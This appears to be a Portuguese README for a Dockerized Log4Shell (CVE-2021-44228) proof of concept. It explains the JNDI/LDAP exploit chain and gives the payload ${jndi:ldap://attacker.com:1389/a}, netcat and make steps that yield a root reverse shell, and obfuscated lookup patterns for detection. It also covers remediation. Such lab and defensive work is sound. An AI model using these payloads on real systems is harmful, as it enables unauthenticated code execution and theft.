Log4Shell (CVE-2021-44228) PoC

Objetivo

Reproduzir, explorar e remediar um CVE crítico conhecido num ambiente Dockerizado.

Este PoC demonstra CVE-2021-44228 (Log4Shell) numa aplicação Spring Boot.

1. Descrição da vulnerabilidade

CVE: 2021-44228

CVSS: 10.0 (Crítico)

Componente afetado: Apache Log4j (<= 2.14.1)

Como o pacote funciona

• O Log4j é uma biblioteca de logging Java muito popular.
• Suporta lookups (${...}) para resolver dinamicamente valores dentro de mensagens de log.
• Um destes lookups é o JNDI, que pode obter valores via LDAP.

Como funciona a vulnerabilidade

• O atacante envenena a aplicação da vítima com uma string de lookup JNDI maliciosa, como ${jndi:ldap://attacker.com:1389/a}.
• A aplicação da vítima, com uma versão vulnerável do Log4j, avalia a string maliciosa durante o logging.
• Isto aciona um pedido JNDI para o servidor LDAP controlado pelo atacante.
• O servidor LDAP responde com uma referência maliciosa para bytecode Java externo.
• A JVM da vítima carrega o bytecode e executa-o, resultando em Execução Remota de Código (RCE).

Como funciona o exploit

1. A aplicação da vítima faz log da entrada fornecida pelo atacante a partir de um cabeçalho HTTP.
2. O servidor LDAP do atacante responde com uma referência para Exploit.class.
3. A vítima obtém o Exploit.class via HTTP.
4. O inicializador estático em Exploit é executado, lançando uma reverse shell de volta para o atacante.

2. Risco

• Impacto: RCE não autenticado - gravidade máxima possível.

• Quem/o quê está em risco:

  • Qualquer aplicação Java que utilize Log4j <= 2.14.1.
  • Serviços expostos à Internet e serviços internos que registam entrada controlada pelo utilizador (por exemplo, cabeçalhos HTTP).

• Consequências:

  • Comprometimento do sistema (acesso a shell).
  • Exfiltração de dados.
  • Pivoting para redes internas.
  • Evasão de defesas perimetrais (ataques através de serviços internos).

3. Prova de conceito

Pré-requisitos

1. docker + docker-compose
2. netcat
3. make

Construir e iniciar

make build start

Explorar

1. Inicie um listener netcat:

nc -l 4444

2. Acione o exploit:

make exploit

3. O Netcat recebe uma reverse shell da vítima:

/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. Remediação

Correção preferida

• Atualize para o Log4j 2.17.1 ou superior.
• Esta é a única correção completa e de longo prazo. Versões anteriores corrigiram parcialmente, mas ainda deixaram exposições:
  • CVE-2021-45046: RCE através de configuração de logging não predefinida
  • CVE-2021-45105: DoS através de lookups autorreferenciais
  • CVE-2021-44832: RCE através de determinadas configurações do appender JDBC

make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

Mitigações provisórias (se a atualização não for possível)

1. Ganhar tempo

• Restringir strings de exploit de entrada (padrões ${jndi:) com um WAF ou middleware.
• Restringir LDAP de saída dos servidores de aplicação com filtragem de egress.

2. Desativar lookups:

-Dlog4j2.formatMsgNoLookups=true

3. Reforçar a JVM:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

Mitigações operacionais

1. Auditar dependências e runtime

• Gerar um SBOM (gradle dependencies, Snyk, Wiz, etc.).
• Procurar por log4j-core-*.jar em imagens/servidores implementados, incluindo fat JARs.
• Fazer triagem e priorizar mitigações para as cargas de trabalho de maior risco.

2. Monitorizar e detetar

• Estar atento a tentativas de exploit nos logs (${jndi:...}, ${${lower:j}ndi:...}, etc.).
• Monitorizar o tráfego LDAP de saída para detetar callbacks.
• Tratar os resultados como potenciais comprometimentos, escalar para resposta a incidentes (investigação forense, remoção de artefactos maliciosos, rotação de segredos, etc.).

3. Patches dos fornecedores

• Acompanhar os advisories dos fornecedores (por exemplo, Elasticsearch) - muitos incluem Log4j incorporado.
• Aplicar hotfixes ou workarounds fornecidos até que patches oficiais estejam disponíveis.

4. Melhorias estratégicas

• Aplicar a política de "negar por padrão" na filtragem de tráfego de saída.
• Aplicar a análise de dependências no CI/CD.
• Formalizar playbooks de resposta para que as equipas saibam exatamente o que fazer durante a próxima vulnerabilidade de "CVSS 10.0".
• Realizar exercícios de resiliência/tabletops para testar a prontidão para um novo incidente da "classe Log4Shell".

5. Referências

• Avisos de Segurança da Apache